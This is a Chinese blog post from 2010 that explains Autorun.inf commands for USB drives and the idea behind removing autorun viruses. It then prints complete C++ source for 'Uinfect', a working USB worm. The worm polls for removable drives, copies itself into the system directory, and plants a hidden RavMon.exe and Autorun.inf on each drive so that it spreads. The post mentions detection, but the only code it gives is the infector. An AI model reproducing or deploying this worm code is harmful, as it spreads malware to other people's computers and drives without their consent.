记得大一刚过来大学的时候,重视很害怕U盘中毒,所以总是不太赶去打印室,有一次竟然让自己的优盘中毒了,由于但是年少无知,还专门请一位06级的学姐替我杀毒。
本程序主要涉及autorun病毒的原理,编写和查杀,由于很简单,只供初学同学看看。
Autorun文件中的部分命令
Open
含义:指定设备启用时运行之命令行。
格式:Open=命令行 (命令行:程序路径名 [参数])
参数:
命令行:自动运行的命令行,必须是.exe、.com、.bat文件,其他格式文件可以使用start.exe打开或使用ShellExecute命令。
备注:命令行的起始目录是设备根目录和系统的$Path环境变量。
ShellExecute
含义:指定设备启用时执行文件。(操作系统支持未知)
格式:ShellExecute=执行文件路径名 [参数]
参数:执行文件路径名:设备启用时执行文件路径名。可以是任意格式文件。系统会调用设置的程序执行此文件。
参数:参数,根据执行文件作调整
备注:命令行的起始目录是设备根目录和系统的$Path环境变量。
Shell关键字Command
含义:定义设备右键菜单执行命令行。
格式:Shell关键字Command=命令行(命令行:程序路径名 [参数])
参数:
命令行:自动运行的命令行,必须是.exe、.com、.bat文件,其他格式文件可以使用start.exe打开。
备注:命令行的起始目录是设备根目录和系统的$Path环境变量。
Shell关键字
含义:定义设备右键菜单文本。
格式:Shell关键字=文本
参数:
关键字:用以标记菜单,可以使用任何字符表示,包括空格。
文本:在右键菜单中显示的文本。可以使用任何字符,不能存在空格。
备注:
- 在同一Autorun.inf文件中,不同右键菜单关键字不同,相同右键菜单关键字相同。
- 右键菜单文本中可以使用&设定加速键,&&输出一个&。
- Shell关键字Command命令Shell关键字两者缺一不可,顺序无所谓。
- 当不存在Open、ShellExecute与Shell命令时,设备启用时运行第一个设备右键菜单指定命令。
Shell
含义:定义设备启用时运行之设备右键命令。
格式:Shell=关键字
参数:
关键字:标记过的菜单关键字
备注:Shell指定的关键字可以在AutoRun.inf文件的任意部分。
OpenShellExecuteShell命令后定义的优先级高。
Autorun病毒的编写
具体流程见代码,此外,本病毒仅仅做了些很简单的事情,还可以些注册表等等操作。个人对打印室的电脑的建议,最好都对优盘写保护,autorun病毒就没有那么容易将病毒文件传到u盘中了。
病毒的查杀原理:
就是先检测u盘的盘符,然后查看是否存在autorun.inf文件,如果有的话,就寻找文件中是否有”open=”这样的字符,如果有的话,就记录下了,并删除”open=”后面的文件。
此外,本程序仅仅只是对文件中的”open=”后面的文件全路径进行记录并删除文件,实际上还可以查找文件中是否存在前面所提到的部分命令,如果存在,也将其后面的文件删除。
具体的见源码:
// Uinfect.cpp : Defines the entry point for the application.
#include “stdafx.h”
#include “resource.h”void ResourceToFile(char *filename,char *Name,char* Type)
{
//寻找自身进程中的资源
HRSRC hRes = FindResource(NULL,Name,Type);
if(hRes==NULL)
return;
//导入资源
HGLOBAL hgRes = LoadResource(NULL, hRes);
if(hgRes==NULL)
return;
//锁定资源
void *pRes = LockResource(hgRes);
if(pRes==NULL)
return;
//得到资源字节数
DWORD size = SizeofResource(NULL, hRes);
if(size==0)
return;
//创建文件
HANDLE hFile = CreateFile(filename, GENERIC_WRITE, 0, 0,
CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL, 0);
if(hFile==INVALID_HANDLE_VALUE)
return;
DWORD dwWrite;
//把资源写入到文件
if(!WriteFile(hFile, pRes, size, &dwWrite, 0))
return;
//关闭文件句柄
CloseHandle(hFile);
//释放资源
GlobalFree(hgRes);
}BOOL InfectU()
{
while(true)
{
UINT revtype;
char name[256]=”H:\\” ;
char szName[256]={0};
char toPath[256]={0};
char infPath[256]={0};
char openU[80]={0};
//遍历所有盘符
for(BYTE i=0×42;i<0x5B;i=i+0×01)
{
name[0]=i;
//得到盘符类型
revtype=GetDriveType(name);
//判断是否是可移动存储设备
if (revtype==DRIVE_REMOVABLE)
{
//得到自身文件路径
GetModuleFileName(NULL,szName,256);
//比较是否和U盘的盘符相同
if(strncmp(name,szName,1)==0)
{
//得到系统目录
GetSystemDirectory(toPath,256);
strcat(toPath,”\\Uinfect.exe”);
//把自身文件复制到系统目录
if(CopyFile(szName,toPath,TRUE))
{
//运行程序
WinExec(toPath,0);
}
strcpy(openU,”explorer “);
strcat(openU,name);
//打开U盘
WinExec(openU,1);
return 0;
}
else
{
strcpy(toPath,name);
strcat(toPath,”\\RavMon.exe”);
strcpy(infPath,name);
strcat(infPath,”\\AutoRun.inf”);
//还原U盘上的文件属性
SetFileAttributes(toPath,FILE_ATTRIBUTE_NORMAL);
SetFileAttributes(infPath,FILE_ATTRIBUTE_NORMAL);
//删除原有文件
DeleteFile(toPath);
DeleteFile(infPath);
//释放AutoRun.inf到U盘
ResourceToFile(infPath,MAKEINTRESOURCE(ID_DAT),
MAKEINTRESOURCE(RC_AUTORUN));
//拷贝自身文件到U盘
CopyFile(szName,toPath,FALSE);
//把这两个文件设置成系统,隐藏属性
SetFileAttributes(toPath,
FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_SYSTEM);
SetFileAttributes(infPath,
FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_SYSTEM);
}
}
}
//休眠60秒,60检测一次
Sleep(60000);
}
}
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
InfectU();
return 0;
}
作者:华中科技大学腾讯创新俱乐部 易卓 2010-05-02
穆童博客声明:请勿在中国法律所不允许的情况下使用本文任何内容
如若复制、转载请注明原文地址:http://mtoou.info/autorun-bingdu-yuanma/